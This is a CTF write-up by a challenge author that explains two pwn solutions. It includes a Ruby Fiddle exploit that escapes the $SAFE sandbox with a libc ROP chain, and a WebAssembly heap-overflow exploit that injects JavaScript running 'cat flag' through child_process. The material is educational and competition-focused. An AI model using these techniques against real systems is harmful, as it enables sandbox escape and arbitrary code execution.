Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
362 lines (290 sloc) 10.8 KB

Little Riddle (pwn)

This challenge was about bypassing $SAFE=3 sandbox which is obsolete in Ruby 2.3 and above.

The bad news is that there are some restrictions due to safe level but there is also a good news:
Fiddle::Pointer doesn't have any taint checking and it can be used to read and write arbitrary memory!

Here is my exploit:

libc_offset = {
  "read" => 0xf7250,
  "open" => 0xf7030,
  "write" => 0xf72b0,
  "exit" => 0x3a030,
  "setcontext" => 0x47b75,
  "pop_rdi_ret" => 0x21102,
  "pop_rsi_ret" => 0x202e8,
  "pop_rdx_ret" => 0x1150a6,
  "ret" => 0x21103,
  "main_arena" => 0x3c4b20
}

# allocate a chunk
a = Fiddle::Pointer.malloc(1)
puts "a = 0x%x" % a.to_i

# get its arena
arena = Fiddle::Pointer.new(a.to_i & 0xfffffffffc000000)[0, 8].unpack("Q")[0]
puts "arena = 0x%x" % arena

# get address of main_arena
main_arena = Fiddle::Pointer.new(arena + 0x868)[0, 8].unpack("Q")[0]
puts "main_arena = 0x%x" % main_arena.to_i

# get libc base
libc_base = main_arena - libc_offset["main_arena"]
puts "libc base = 0x%x" % libc_base

# read flag
[1].each{
  ptr = Fiddle::Pointer.malloc(0x200, libc_base + libc_offset["setcontext"])

  payload = ""
  payload << "/home/p31338/flag".ljust(0xa0, "\0")
  payload << [ptr.to_i + 0xb0].pack("Q*")  # rsp
  payload << [libc_base + libc_offset["ret"]].pack("Q") * 10
  payload << [libc_base + libc_offset["pop_rdi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["open"]].pack("Q")
  payload << [libc_base + libc_offset["pop_rdi_ret"], 7].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
  payload << [libc_base + libc_offset["read"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdi_ret"], 1].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
  payload << [libc_base + libc_offset["write"]].pack("Q*")
  payload << [libc_base + libc_offset["exit"]].pack("Q")
  ptr[0, payload.length] = payload
}
GC.start
__END__

I used the second argument of Fiddle::Pointer.malloc to control the RIP, but some teams simply cleared the "taint" flag of an object and pass it to File.open.

Although the intended solution is to use Fiddle (that's why this challenge is named "Little Riddle"), I was also interested in how Ruby's safe level can be bypassed.

So if you have solutions with or without Fiddle, I encourage you to publish your writeup :)

Secret Mailer Service 2.0 (pwn)

This challenge was about pwning a service which was written in C and compiled to WebAssembly.

The source code of this challenge is available on my GitHub.

There are three key points to solve this challenge.

  1. Emscripten uses dlmalloc
  2. WebAssembly doesn't have readonly memory
  3. In WebAssembly, function pointer doesn't reference a location in memory

Let's look into these points.

1. Emscripten uses dlmalloc

So, if you are familiar with recent heap exploitation techniques, you will be able to overwrite existing letters by exploiting off-by-one buffer overflow which exists in add_letter function.

However, you have to keep in mind that there is no fastbins, and you can't allocate nor free a chunk when its address is smaller than the base address of heap area.

2. WebAssembly doesn't have readonly memory

This means that we can overwrite string constants like this:

puts("hello world");  // => hello world
"hello world"[0] = 'H';
puts("hello world");  // => Hello world

That is, we can run arbitrary Javascript code by overwriting the string "_do_post_letters()" which is used in seal_letters.

if(post){
    // emscripten_run_script is a function which executes Javascript code from C world
    emscripten_run_script("_do_post_letters()");
}

So our final goal is to overwrite this string.

3. In WebAssembly, function pointer doesn't reference a location in memory

Let's confirm this by writing some code:

#include <stdio.h>

void foo(){
    puts("foo");
}

int main(){
    void (*func)() = foo;

    printf("func = %p\n", func);
    printf("*func = 0x%08x 0x%08x 0x%08x 0x%08x\n", *(unsigned int *)func, *((unsigned int *)func + 1), *((unsigned int *)func + 2), *((unsigned int *)func + 3));

    printf("\ncall func\n");
    func();

    return 0;
}
$ emcc -s WASM=1 -o test.js test.c -O0 -g
$ node test.js
func = 0x4
*func = 0x00000000 0x00000000 0x00000000 0x00000000

call func
foo

printf("func = %p\n", func) shows func = 0x4, but printf("0x%08x\n", *(unsigned int *)func) doesn't show anything interesting.

Then, where did the number "0x4" come from?
The answer lies in the generated wast file:

  ;;@ test.c:14:0
  (set_local $$14  ;; $$14 = func = 4
   (get_local $$1)
  )
  (call_indirect (type $FUNCSIG$v)
   (i32.add
    (i32.and
     (get_local $$14)
     (i32.const 7)
    )
    (i32.const 10)
   )
  )
  (set_global $STACKTOP
   (get_local $sp)
  )

It looks like an instruction called call_indirect is used to call a function via function pointer, and (4 & 7) + 10(=14) is passed as an arugment in this case.

About call_indirect, WebAssembly's document says:

Indirect calls to a function indicate the callee with an i32 index into a table.

By examining the wast file again, we can confirm that there is a table of functions, and foo is the 14th element!

 (elem (get_global $tableBase) $b0 $___stdio_close $b1 $b1 $___stdout_write $___stdio_seek $b1
 $___stdio_write $b1 $b1 $b2 $b2 $b2 $b2 $_foo $b2 $b2 $b2)

Okay, let's get back to SMS2.

Function pointer Letter->filter is used in seal_letters function:

void seal_letters(State *state, int post){
    size_t i;
    char *outbuf;

    for(i = 0; i < state->count; i++){
        if(state->letters[i] != NULL && state->letters[i]->filter != NULL){
            outbuf = malloc(state->letters[i]->length);
            if(outbuf == NULL){
                abort();
            }
            state->letters[i]->filter(outbuf, state->letters[i]->buf, state->letters[i]->length);
            state->letters[i]->buf = outbuf;
        }
    }

    if(post){
        emscripten_run_script("_do_post_letters()");
    }
}

... and here is the wast instructions and the function table:

(drop
 (call_indirect (type $FUNCSIG$iiii)
  (get_local $$44)  ;; arg1: outbuf
  (get_local $$52)  ;; arg2: letter->buf  <- controllable
  (get_local $$59)  ;; arg3: letter->length  <- controllable
  (i32.add
   (i32.and
    (get_local $$43)  ;; letter->filter  <- controllable
    (i32.const 15)
   )
   (i32.const 8)
  )
 )
)
 (elem (get_global $tableBase) $b0 $b0 $b0 $b0 $___stdio_close $b0 $b0 $b0 $b1 $_filter_lower
 $_filter_upper $_filter_swapcase $b1 $___stdio_read $___stdio_seek $___stdout_write $___stdio_write $b1
 $b1 $b1 $b1 $b1 $b1 $b1)

This time, the index for call_indirect is calculated by (letter->filter & 15) + 8.
So the functions we can call are:

  • 1: filter_lower
  • 2: filter_upper
  • 3: filter_swapcase
  • 5: __stdio_read
  • 6: __stdio_seek
  • 7: __stdout_write
  • 8: __stdio_write

Hmm, __stdio_read looks interesting...
Let's check its implementation:

#include "stdio_impl.h"
#include <sys/uio.h>

size_t __stdio_read(FILE *f, unsigned char *buf, size_t len)
{
    struct iovec iov[2] = {
        { .iov_base = buf, .iov_len = len - !!f->buf_size },
        { .iov_base = f->buf, .iov_len = f->buf_size }
    };
    ssize_t cnt;

    cnt = syscall(SYS_readv, f->fd, iov, 2);
    if (cnt <= 0) {
        f->flags |= F_EOF ^ ((F_ERR^F_EOF) & cnt);
        return cnt;
    }
    if (cnt <= iov[0].iov_len) return cnt;
    cnt -= iov[0].iov_len;
    f->rpos = f->buf;
    f->rend = f->buf + cnt;
    if (f->buf_size) buf[len-1] = *f->rpos++;
    return len;
}

Since we directly control the second and the third argument, we can use this function as an arbitrary-write primitive.

Exploit!

We can exploit this service in 4 steps:

  1. Exploit the off-by-one buffer overflow bug and make chunks overlapping.
  2. Overwrite existing letter:
    • length: len("some Javascript code") + 1 (we need a null byte)
    • filter: 5 (__stdio_read)
    • buf: 0xff8 (address of "_do_post_letters()" string)
  3. Call __stdio_read by sealing letters, and input some Javascript code.
  4. Our code will be executed via emscripten_run_script.

Here is my exploit:

#coding:ascii-8bit
require "pwnlib"  # https://github.com/Charo-IT/pwnlib

remote = ARGV[0] == "r"
if remote
  host = "pwn1.task.ctf.codeblue.jp"
  port = 31337
else
  host = "localhost"
  port = 54321
end

class PwnTube
  def recv_until_prompt
    recv_until("Select:\n")
  end
end

def tube
  @tube
end

def add_letter(size, content, to, filter)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until("Size:\n")
  tube.sendline("#{size}")
  tube.recv_until("Content:\n")
  tube.send(content)
  tube.recv_until("To:\n")
  tube.send(to)
  tube.recv_until_prompt
  tube.sendline("#{filter}")
end

def delete_letter(index)
  tube.recv_until_prompt
  tube.sendline("3")
  tube.recv_until("Index:\n")
  tube.sendline("#{index}")
end

def seal_letter
  tube.recv_until_prompt
  tube.sendline("5")
end

PwnTube.open(host, port){|t|
  @tube = t

  cmd = "require('child_process').exec('cat flag',(a,b,c)=>console.log(b+c))\0"

  puts "[*] prepare"
  add_letter(0xc, "A" * 0xb, "1" * 0x1f + "\n", 1)
  add_letter(0xc, "B" * 0xb, "2" * 0x1f + "\n", 1)
  delete_letter(0);

  puts "[*] overwrite chunksize"
  add_letter(0xc, "C" * 0xb, "3" * 0x20 + "\x53", 1)

  puts "[*] overwrite existing letter"
  payload = ""
  payload << "A" * 0x10
  payload << [cmd.length].pack("L")  # length
  payload << [0xff8].pack("L")  # buf (address of "_do_post_letters()"")
  payload << [5].pack("L")  # func (__stdio_read)
  payload << "A" * 0x1f
  add_letter(payload.length + 1, payload, "AAAA\n", 1)

  puts "[*] call __stdio_read"
  tube.recv_until_prompt
  tube.sendline("5")

  puts "[*] send command to execute"
  tube.send(cmd)

  tube.interactive
}
You can’t perform that action at this time.